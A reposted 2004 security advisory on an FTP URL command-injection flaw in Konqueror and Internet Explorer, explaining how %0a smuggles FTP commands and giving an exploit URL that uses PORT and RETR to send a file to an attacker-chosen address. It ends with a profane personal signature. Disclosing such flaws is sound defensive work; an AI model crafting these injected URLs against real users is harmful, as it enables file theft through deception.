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[转载]FTP Client Command Injection

[转载]FTP Client Command Injection

信息来源:www.securiteam.com

Summary
Konqueror is "a very multifuncional HTTP browser included on KDE base package. Like others browsers it can use more protocols, for example FTP. This application is usually used to navigate through the file systems".

Both Konqueror and Internet Explorer suffer from command injection vulnerability that can be exploited by an especially formed FTP URL.

Details
Vulnerable Systems:
* Konqueror version 3.3.1 and prior
* Internet Explorer 5.0 (3700.1000)
* Internet Explorer 6.0 (2800.1106)

In order to access to a server FTP using Internet Explorer you write "ftp://ftpuser:ftppass@server/directory" in the directories' bar and then the navigator connects to the server and executes the following commands (and other that have omitted because they are not important for this stuff).

USER ftpuser
PASS ftppass
CWD /directory/

The security problem resides in which is possible to inject FTP commands on the URL adding at the code %0a followed by your injected commands. If you do "ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute those commands.

USER ftpuser
PASS ftppass
CWD /directory
somecommand

The last line is an erroneous command, but it's not a problem because 'somecommand' has already been executed.

Exploit:
You need to deceive a user to go to your URL and then to introduce a valid user and password. So yes! The exploitation also requires to apply social engineering. Then you can do a lot of things using this bug like create or delete files and directories, but probably, the most interesting thing is to download files. Its possible to do that using this URL;

ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

Then the server will connect to a.b.c.d and port e,f (see FTP RFC to translate the port number) and will send the file data.

Timeline:
01/12/2004 - Bug discovered
02/12/2004 - KDE developers contacted
03/12/2004 - Fast developers reply
03/12/2004 - IE also afected, so 7a69ezine decided to publish the bug
05/12/2004 - Advisor released

Additional information
The information has been provided by Albert Puigsech Galicia. The original article can be found at: http://www.7a69ezine.org/node/view/169
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

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